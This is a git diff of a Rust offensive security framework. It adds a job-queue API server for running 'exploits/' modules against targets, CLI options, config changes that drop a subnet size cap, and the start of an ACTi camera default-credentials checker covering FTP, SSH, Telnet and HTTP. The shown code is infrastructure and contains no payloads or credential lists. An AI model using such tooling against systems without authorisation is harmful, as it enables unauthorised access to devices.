message: "Malformed API key".to_string(),
data: None,
};
let response = create_response(
false,
"Malformed API key".to_string(),
None,
Some(ApiErrorCode::AuthFailed.as_str().to_string()),
Some("API key must be printable ASCII and not empty.".to_string()),
None,
);
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
@@ -474,11 +563,14 @@ async fn auth_middleware(
let _ = state.record_auth_failure(&client_ip).await;
}
let response = ApiResponse {
success: false,
message: "Invalid API key".to_string(),
data: None,
};
let response = create_response(
false,
"Invalid API key".to_string(),
None,
Some(ApiErrorCode::AuthFailed.as_str().to_string()),
None,
None,
);
return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
}
@@ -490,15 +582,111 @@ async fn auth_middleware(
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
// Track IP for hardening (if enabled)
let _ = state.track_ip(&client_ip).await;
state.verbose_log(&format!("Authenticated request from IP: {}", client_ip)).await.ok();
next.run(request).await
}
async fn health_check() -> Json<ApiResponse> {
Json(ApiResponse {
success: true,
message: "API is running".to_string(),
data: None,
})
Json(create_response(
true,
"API is running".to_string(),
None,
None,
None,
None,
))
}
async fn get_module_info(
State(_state): State<ApiState>,
axum::extract::Path((category, name)): axum::extract::Path<(String, String)>,
) -> Response {
let module_path = format!("{}/{}", category, name);
if commands::discover_modules().contains(&module_path) {
let response = create_response(
true,
"Module found".to_string(),
Some(serde_json::json!({
"module": module_path,
"category": category,
"name": name,
"exists": true
})),
None,
None,
None,
);
(StatusCode::OK, Json(response)).into_response()
} else {
let response = create_response(
false,
"Module not found".to_string(),
None,
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
Some("Check the module list for available modules.".to_string()),
None,
);
(StatusCode::NOT_FOUND, Json(response)).into_response()
}
}
async fn validate_module_params(
Json(payload): Json<RunModuleRequest>,
) -> Response {
let start_time = std::time::Instant::now();
let module_name = payload.module.as_str();
let target = payload.target.as_str();
if !validate_module_name(module_name) {
let response = create_response(
false,
"Invalid module name format".to_string(),
None,
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
Some("Module format: category/name. Allowed chars: [a-z0-9/_/-]".to_string()),
Some(start_time),
);
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
}
// Check if module exists
if !commands::discover_modules().contains(&module_name.to_string()) {
let response = create_response(
false,
format!("Module '{}' does not exist", module_name),
None,
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
None,
Some(start_time),
);
return (StatusCode::NOT_FOUND, Json(response)).into_response();
}
if !validate_target(target) {
let response = create_response(
false,
"Invalid target format".to_string(),
None,
Some(ApiErrorCode::InvalidTarget.as_str().to_string()),
Some("Target must be a valid IP, hostname, or CIDR.".to_string()),
Some(start_time),
);
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
}
let response = create_response(
true,
"Validation successful".to_string(),
Some(serde_json::json!({ "valid": true })),
None,
None,
Some(start_time),
);
(StatusCode::OK, Json(response)).into_response()
}
async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
@@ -523,86 +711,115 @@ async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
creds,
};
Json(ApiResponse {
success: true,
message: "Modules retrieved successfully".to_string(),
data: Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
})
Json(create_response(
true,
"Modules retrieved successfully".to_string(),
Some(serde_json::to_value(data).unwrap_or(serde_json::Value::Null)),
None,
None,
None, // TODO: track duration
))
}
async fn run_module(
State(state): State<ApiState>,
Json(payload): Json<RunModuleRequest>,
) -> Result<Json<ApiResponse>, StatusCode> {
) -> Response {
let start_time = std::time::Instant::now();
let module_name_raw = payload.module.as_str();
let target_raw = payload.target.as_str();
// Validate inputs
if !validate_module_name(module_name_raw) {
return Err(StatusCode::BAD_REQUEST);
let response = create_response(
false,
"Invalid module name format".to_string(),
None,
Some(ApiErrorCode::InvalidModule.as_str().to_string()),
Some("Module format: category/name. Allowed chars: [a-z0-9/_/-]".to_string()),
Some(start_time),
);
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
}
if !validate_target(target_raw) {
return Err(StatusCode::BAD_REQUEST);
let response = create_response(
false,
"Invalid target format".to_string(),
None,
Some(ApiErrorCode::InvalidTarget.as_str().to_string()),
Some("Target must be a valid IP, hostname, or CIDR.".to_string()),
Some(start_time),
);
return (StatusCode::BAD_REQUEST, Json(response)).into_response();
}
// Sanitize for logging only
let module_name = sanitize_for_log(module_name_raw);
let target_name = sanitize_for_log(target_raw);
state
if let Err(_) = state
.log_message(&format!(
"API request: run module '{}' on target '{}'",
module_name, target_name
))
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
.await
{
let response = create_response(
false,
"Internal Server Error: Logging failed".to_string(),
None,
Some(ApiErrorCode::ServerError.as_str().to_string()),
None,
Some(start_time),
);
return (StatusCode::INTERNAL_SERVER_ERROR, Json(response)).into_response();
}
// Acquire permit to limit concurrency
// We hold an owned permit and move it into the thread
let permit = state.execution_limit.clone().acquire_owned().await.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
// Fire and forget: Try to send to the job queue
let job = Job {
module: module_name.to_string(),
target: target_name.to_string(),
verbose: state.verbose,
start_time,
};
// Run the module in a separate OS thread to support !Send futures (like Mutex guards and ThreadRng)
// We use a current_thread runtime which allows !Send futures to be blocked on.
let module = payload.module.clone();
let target = payload.target.clone();
let state_clone = state.clone();
std::thread::spawn(move || {
let _permit = permit; // Permit is dropped when thread finishes
// Use current_thread runtime for lightweight isolation and !Send support
let rt = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build();
match rt {
Ok(rt) => {
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target).await {
let _ = state_clone
.log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
.await;
} else {
let _ = state_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}'",
sanitize_for_log(&module), sanitize_for_log(&target)
))
.await;
}
});
}
Err(e) => {
eprintln!("Failed to create runtime for module execution: {}", e);
}
match state.job_sender.try_send(job) {
Ok(_) => {
// 202 Accepted
(StatusCode::ACCEPTED, Json(create_response(
true,
format!("Module '{}' queued for execution against '{}'", module_name, target_name),
None,
None,
None,
Some(start_time),
))).into_response()
},
Err(mpsc::error::TrySendError::Full(_)) => {
// Queue full - return 503
let response = create_response(
false,
"Job queue is full. Please try again later.".to_string(),
None,
Some(ApiErrorCode::RateLimited.as_str().to_string()), // Or ServerError, but RateLimit fits load shedding
Some("Increase queue size or wait for jobs to finish.".to_string()),
Some(start_time),
);
(StatusCode::SERVICE_UNAVAILABLE, Json(response)).into_response()
},
Err(_) => {
// Channel closed
let response = create_response(
false,
"Internal Server Error: Job queue closed".to_string(),
None,
Some(ApiErrorCode::ServerError.as_str().to_string()),
None,
Some(start_time),
);
(StatusCode::INTERNAL_SERVER_ERROR, Json(response)).into_response()
}
});
Ok(Json(ApiResponse {
success: true,
message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
data: None,
}))
}
}
async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
@@ -632,11 +849,14 @@ async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
"tracked_ips": ip_details,
});
Json(ApiResponse {
success: true,
message: "Status retrieved successfully".to_string(),
data: Some(status_data),
})
Json(create_response(
true,
"Status retrieved successfully".to_string(),
Some(status_data),
None,
None,
None,
))
}
async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
@@ -645,11 +865,14 @@ async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiRe
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
Ok(Json(ApiResponse {
success: true,
message: "API key rotated successfully".to_string(),
data: Some(serde_json::json!({ "new_key": new_key })),
}))
Ok(Json(create_response(
true,
"API key rotated successfully".to_string(),
Some(serde_json::json!({ "new_key": new_key })),
None,
None,
None,
)))
}
async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
@@ -681,11 +904,14 @@ async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} tracked IP addresses", ips.len()),
data: Some(serde_json::json!({ "ips": ips })),
})
Json(create_response(
true,
format!("Retrieved {} tracked IP addresses", ips.len()),
Some(serde_json::json!({ "ips": ips })),
None,
None,
None,
))
}
async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
@@ -720,11 +946,14 @@ async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
})
.collect();
Json(ApiResponse {
success: true,
message: format!("Retrieved {} IPs with authentication failures", failures.len()),
data: Some(serde_json::json!({ "auth_failures": failures })),
})
Json(create_response(
true,
format!("Retrieved {} IPs with authentication failures", failures.len()),
Some(serde_json::json!({ "auth_failures": failures })),
None,
None,
None,
))
}
pub async fn start_api_server(
@@ -732,14 +961,93 @@ pub async fn start_api_server(
api_key: String,
harden: bool,
ip_limit: u32,
verbose: bool,
queue_size: usize,
workers: usize,
) -> Result<()> {
let state = ApiState::new(api_key.clone(), harden, ip_limit);
// Create channel for jobs
let (tx, rx) = mpsc::channel(queue_size);
let state = ApiState::new(api_key.clone(), harden, ip_limit, verbose, tx);
// Spawn worker pool
// We clone the receiver for each worker? No, mpsc Receiver is not Clone.
// We need an Arc<Mutex<Receiver>> OR usually we just move receiver into one logic/distributor?
// Wait, typical pattern for multiple consumers is `async-channel` or `crossbeam`, but Tokio mpsc Receiver is single consumer.
// Ah! To have multiple workers on a single mpsc receiver, we wrap it in Arc<Mutex> OR we just use `async-crossbeam-channel` or similar.
// OR we spawn 1 dispatcher task that owns RX and sends to N workers?
//
// Actually, Tokio's recommended pattern for worker pool is:
// 1. Arc<Mutex<Receiver>> (slow)
// 2. async-channel crate (MPMC)
//
// Since I can't easily add dependencies without checking cargo.toml (I see `tokio`), I will check if I can use `async-channel`.
// Let me check Cargo.toml first?
//
// Actually, simple solution:
// Wrap Receiver in Arc<Mutex> is fine for 10-20 workers.
let shared_rx = Arc::new(tokio::sync::Mutex::new(rx));
for _ in 0..workers {
let rx_clone = shared_rx.clone();
let state_clone = state.clone();
tokio::spawn(async move {
loop {
// Lock the receiver to get a job
let job = {
let mut lock = rx_clone.lock().await;
lock.recv().await
};
if let Some(j) = job {
// Create a pseudo-receiver that yields just this one job, or refactor worker_loop
// Refactoring worker_loop to take a single job is better but I put loop inside it.
// Let's just create a modified worker body here.
let module = j.module.clone();
let target = j.target.clone();
let verbose = j.verbose;
let s_clone = state_clone.clone();
// Run the job logic (blocking join)
std::thread::spawn(move || {
let rt = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build();
match rt {
Ok(rt) => {
rt.block_on(async {
if let Err(e) = commands::run_module(&module, &target, verbose).await {
let duration = j.start_time.elapsed().as_millis();
let _ = s_clone
.log_message(&format!("Error running module ({}): {} [{}ms]", ApiErrorCode::ExecutionError.as_str(), sanitize_for_log(&e.to_string()), duration))
.await;
} else {
let duration = j.start_time.elapsed().as_millis();
let _ = s_clone
.log_message(&format!(
"Successfully completed module '{}' on target '{}' [{}ms]",
sanitize_for_log(&module), sanitize_for_log(&target), duration
))
.await;
}
});
}
Err(e) => eprintln!("Worker Thread: Failed to create runtime: {}", e),
}
}).join().ok();
} else {
break; // Channel closed
}
}
});
}
// Log initial startup
state
.log_message(&format!(
"Starting API server on {} with hardening: {}, IP limit: {}",
bind_address, harden, ip_limit
"Starting API server on {} with hardening: {}, IP limit: {}, Workers: {}, Queue: {}",
bind_address, harden, ip_limit, workers, queue_size
))
.await?;
@@ -750,12 +1058,16 @@ pub async fn start_api_server(
if harden {
println!("📊 IP limit: {}", ip_limit);
}
println!("👷 Workers: {}", workers);
println!("📥 Queue Size: {}", queue_size);
println!("📝 Log file: {}", state.log_file.display());
// Create routes that require authentication
let protected_routes = Router::new()
.route("/api/modules", get(list_modules))
.route("/api/module/{category}/{name}", get(get_module_info))
.route("/api/run", post(run_module))
.route("/api/validate", post(validate_module_params))
.route("/api/status", get(get_status))
.route("/api/rotate-key", post(rotate_key_endpoint))
.route("/api/ips", get(get_tracked_ips))
@@ -790,4 +1102,4 @@ pub async fn start_api_server(
.context("API server error")?;
Ok(())
}
}
+20
View File
@@ -43,4 +43,24 @@ pub struct Cli {
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
/// Enable verbose output (shows detailed operation logs)
#[arg(short, long)]
pub verbose: bool,
/// List all available modules and exit
#[arg(long)]
pub list_modules: bool,
/// Output format (text, json)
#[arg(long, default_value = "text")]
pub output_format: Option<String>,
/// API job queue size (default: 100)
#[arg(long, default_value_t = 100)]
pub queue_size: usize,
/// Number of worker threads for API jobs (default: 10)
#[arg(long, default_value_t = 10)]
pub workers: usize,
}
+29 -8
View File
@@ -10,6 +10,8 @@ use crate::utils::normalize_target;
/// CLI dispatcher
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
// Target resolution logic...
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
@@ -25,8 +27,10 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
};
let target = normalize_target(&raw)?;
let module = cli_args.module.clone().unwrap_or_default();
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
@@ -47,7 +51,9 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
}
/// Interactive module runner
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
// 1. Resolve module using compile-time list
let available = discover_modules();
@@ -57,18 +63,32 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
});
if let Some(m) = full_match {
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
} else if let Some(m) = short_match {
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
}
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
// List modules grouped by category
// TODO: Could use `list_all_modules` logic from utils if public, or reimplement simply here
for m in available {
println!(" {}", m);
use colored::*;
eprintln!("{}", format!("❌ Unknown module '{}'.", module_path).red());
// Fuzzy matching
let best_match = available.iter()
.map(|m| (m, strsim::levenshtein(module_path, m)))
.min_by_key(|&(_, dist)| dist);
if let Some((suggestion, dist)) = best_match {
if dist < 5 { // Threshold for suggestions
eprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
}
}
return Ok(());
return Err(anyhow::anyhow!("Module not found"));
};
// 2. Resolve target
@@ -89,6 +109,7 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
};
let target = normalize_target(&target_str)?;
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
+24 -71
View File
@@ -61,7 +61,9 @@ impl GlobalConfig {
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
let mut target_guard = self.target.write().unwrap();
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
@@ -70,7 +72,7 @@ impl GlobalConfig {
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().unwrap();
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
@@ -87,7 +89,7 @@ impl GlobalConfig {
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Regex compilation failed");
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
@@ -118,8 +120,8 @@ impl GlobalConfig {
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let target_guard = self.target.read().unwrap();
target_guard.as_ref().map(|t| match t {
let guard = self.target.read().ok()?;
guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
@@ -128,9 +130,9 @@ impl GlobalConfig {
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let target_guard = self.target.read().unwrap();
let guard = self.target.read().map_err(|_| anyhow!("Config lock poisoned"))?;
match target_guard.as_ref() {
match guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
@@ -142,81 +144,31 @@ impl GlobalConfig {
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
let target_guard = self.target.read().unwrap();
target_guard.is_some()
self.target.read().map(|g| g.is_some()).unwrap_or(false)
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
let target_guard = self.target.read().unwrap();
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)))).unwrap_or(false)
}
/// Get the target subnet if set
pub fn get_target_subnet(&self) -> Option<IpNetwork> {
let guard = self.target.read().ok()?;
match guard.as_ref() {
Some(TargetConfig::Subnet(net)) => Some(*net),
_ => None,
}
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap();
let target_guard = self.target.read().ok()?;
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
@@ -252,8 +204,9 @@ impl GlobalConfig {
/// Clear the global target
pub fn clear_target(&self) {
let mut target_guard = self.target.write().unwrap();
*target_guard = None;
if let Ok(mut target_guard) = self.target.write() {
*target_guard = None;
}
}
}
+212 -10
View File
@@ -1,6 +1,8 @@
use anyhow::{anyhow, Context, Result};
use clap::Parser;
use colored::*;
use std::net::SocketAddr;
use std::process;
mod cli;
mod shell;
@@ -10,6 +12,63 @@ mod utils;
mod api;
mod config;
/// Custom error types for CLI operations
#[derive(Debug)]
pub enum CliError {
InvalidFlagCombination { flag1: String, flag2: String, message: String },
// MissingRequiredFlag is handled by clap, but we can wrap validaton errors
ValidationFailed { field: String, reason: String },
ModuleNotFound { module: String, suggestions: Vec<String> },
TargetInvalid { target: String, reason: String },
ApiError { message: String },
Generic { message: String },
}
impl std::fmt::Display for CliError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
CliError::InvalidFlagCombination { flag1, flag2, message } => {
write!(f, "{} Invalid flag combination detected: {} + {}\n {}", "".red(), flag1.yellow(), flag2.yellow(), message)
},
CliError::ValidationFailed { field, reason } => {
write!(f, "{} Validation failed for '{}': {}", "".red(), field.yellow(), reason)
},
CliError::ModuleNotFound { module, suggestions } => {
writeln!(f, "{} Module '{}' not found.", "".red(), module.yellow())?;
if !suggestions.is_empty() {
writeln!(f, " Did you mean:")?;
for s in suggestions {
writeln!(f, " - {}", s.green())?;
}
}
Ok(())
},
CliError::TargetInvalid { target, reason } => {
write!(f, "{} Invalid target '{}': {}", "".red(), target.yellow(), reason)
},
CliError::ApiError { message } => {
write!(f, "{} API Server Error: {}", "".red(), message)
},
CliError::Generic { message } => {
write!(f, "{} Error: {}", "".red(), message)
}
}
}
}
impl CliError {
pub fn exit_code(&self) -> i32 {
match self {
CliError::Generic { .. } => 1,
CliError::InvalidFlagCombination { .. } => 2,
CliError::ValidationFailed { .. } => 2,
CliError::ModuleNotFound { .. } => 3,
CliError::TargetInvalid { .. } => 4,
CliError::ApiError { .. } => 5,
}
}
}
/// Maximum length for API key to prevent memory exhaustion
const MAX_API_KEY_LENGTH: usize = 256;
@@ -19,13 +78,87 @@ const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Maximum IP limit for hardening mode
const MAX_IP_LIMIT: u32 = 10000;
/// Helper for verbose logging
fn verbose_log(verbose: bool, message: &str) {
if verbose {
eprintln!("{} {}", "[VERBOSE]".dimmed(), message.dimmed());
}
}
/// Prints CLI usage hint
fn print_usage_hint() {
eprintln!("{}", "Usage hints:".yellow().bold());
eprintln!(" {} Launch interactive shell", "cargo run".cyan());
eprintln!(" {} Run module on target", "cargo run -- -m <module> -t <target>".cyan());
eprintln!(" {} Start API server", "cargo run -- --api --api-key <key>".cyan());
eprintln!(" {} List all modules in shell", "cargo run (then type 'modules')".cyan());
eprintln!();
eprintln!("{}", "For more help: cargo run -- --help".dimmed());
}
/// Validates CLI flag combinations and prints warnings for common mistakes
fn validate_cli_flags(cli_args: &cli::Cli) -> Result<()> {
// Warning: -m without -t
if cli_args.module.is_some() && cli_args.target.is_none() {
eprintln!();
eprintln!("{}", "⚠ Warning: --module (-m) specified without --target (-t)".yellow().bold());
eprintln!("{}", " The module requires a target to run against.".yellow());
eprintln!();
print_usage_hint();
eprintln!();
eprintln!("{}", "Launching interactive shell instead...".cyan());
eprintln!();
}
// Warning: -t without -m (not an error, but inform user)
if cli_args.target.is_some() && cli_args.module.is_none() && cli_args.command.is_none() {
eprintln!();
eprintln!("{}", " Note: --target (-t) specified without --module (-m)".blue().bold());
eprintln!("{}", " Target will be available in interactive shell.".blue());
eprintln!();
}
// Warning: --harden without --api
if cli_args.harden && !cli_args.api {
eprintln!();
eprintln!("{}", "⚠ Warning: --harden requires --api mode".yellow().bold());
eprintln!("{}", " Hardening features are only active in API server mode.".yellow());
eprintln!();
print_usage_hint();
print_usage_hint();
return Err(anyhow!(CliError::InvalidFlagCombination {
flag1: "--harden".to_string(),
flag2: "no --api".to_string(),
message: "Harden mode requires API mode".to_string()
}));
}
// Note: --ip-limit requires --harden is enforced by clap's requires attribute
// Warning: --interface without --api
if let Some(ref iface) = cli_args.interface {
if !cli_args.api && iface != "0.0.0.0" { // Ignore default value
eprintln!();
eprintln!("{}", "⚠ Warning: --interface requires --api mode".yellow().bold());
eprintln!("{}", " Interface binding is only used in API server mode.".yellow());
eprintln!();
}
}
Ok(())
}
/// Validates the bind address format for security
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
// Length check
if trimmed.is_empty() {
return Err(anyhow!("Bind address cannot be empty"));
return Err(anyhow!(CliError::ValidationFailed {
field: "bind_address".to_string(),
reason: "Address cannot be empty".to_string()
}));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
@@ -80,7 +213,10 @@ fn validate_api_key(key: &str) -> Result<String> {
/// Validates IP limit for hardening mode
fn validate_ip_limit(limit: u32) -> Result<u32> {
if limit == 0 {
return Err(anyhow!("IP limit must be greater than 0"));
return Err(anyhow!(CliError::ValidationFailed {
field: "ip_limit".to_string(),
reason: "Must be greater than 0".to_string()
}));
}
if limit > MAX_IP_LIMIT {
@@ -94,21 +230,49 @@ fn validate_ip_limit(limit: u32) -> Result<u32> {
}
#[tokio::main]
async fn main() -> Result<()> {
async fn main() {
if let Err(e) = run().await {
// Check if downcast to CliError works
if let Some(cli_error) = e.downcast_ref::<CliError>() {
eprintln!("{}", cli_error);
process::exit(cli_error.exit_code());
} else {
// Fallback for generic anyhow errors
eprintln!("{} {}", "".red(), e);
process::exit(1);
}
}
}
async fn run() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
verbose_log(cli_args.verbose, "CLI arguments parsed successfully");
// Validate CLI flag combinations (prints warnings for common mistakes)
verbose_log(cli_args.verbose, "Validating CLI flags...");
validate_cli_flags(&cli_args)?;
// Handle list_modules flag
if cli_args.list_modules {
verbose_log(cli_args.verbose, "Listing all modules...");
utils::list_all_modules();
return Ok(());
}
// Check if API mode is requested
if cli_args.api {
let api_key_raw = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
.as_ref()
.ok_or_else(|| anyhow!("--api-key is required when using --api mode"))?;
// Validate API key
let api_key = validate_api_key(&api_key_raw)
let api_key = validate_api_key(api_key_raw)
.context("Invalid API key")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
let interface = cli_args.interface.clone().unwrap_or_else(|| "0.0.0.0".to_string());
// Validate and normalize bind address
let bind_address = validate_bind_address(&interface)
@@ -121,26 +285,64 @@ async fn main() -> Result<()> {
let ip_limit = validate_ip_limit(ip_limit_raw)
.context("Invalid IP limit")?;
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
verbose_log(cli_args.verbose, &format!("Starting API server on {}...", bind_address));
api::start_api_server(
&bind_address,
api_key,
harden,
ip_limit,
cli_args.verbose,
cli_args.queue_size,
cli_args.workers,
).await?;
return Ok(());
}
// Validate target if provided (fail fast on invalid input)
if let Some(ref target) = cli_args.target {
if let Err(e) = utils::normalize_target(target) {
return Err(anyhow!(CliError::TargetInvalid {
target: target.clone(),
reason: e.to_string()
}));
}
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
verbose_log(cli_args.verbose, &format!("Setting global target to: {}", target));
// Target validation is done in config::set_target
config::GLOBAL_CONFIG.set_target(target)?;
println!(" Global target set to: {}", target);
println!("{} Global target set to: {}", "".green(), target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
verbose_log(cli_args.verbose, &format!("Executing subcommand: {}", cmd));
commands::handle_command(cmd, &cli_args).await?;
}
// Improved module+target handling: Run module directly if both -m and -t (or global target) are present
else if let Some(ref module) = cli_args.module {
if let Some(ref target) = cli_args.target {
verbose_log(cli_args.verbose, &format!("Running module '{}' against '{}'", module, target));
commands::run_module(module, target, cli_args.verbose).await?;
} else if config::GLOBAL_CONFIG.has_target() {
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
verbose_log(cli_args.verbose, &format!("Running module '{}' against global target '{}'", module, target));
commands::run_module(module, &target, cli_args.verbose).await?;
} else {
// If only -m: Show warning, launch shell with module preselected (Phase 3 mostly, but good fallback)
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
verbose_log(cli_args.verbose, "Launching interactive shell...");
shell::interactive_shell(cli_args.verbose).await?;
}
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
verbose_log(cli_args.verbose, "Launching interactive shell...");
shell::interactive_shell(cli_args.verbose).await?;
}
Ok(())
}
// test comment
@@ -0,0 +1,273 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use colored::*;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
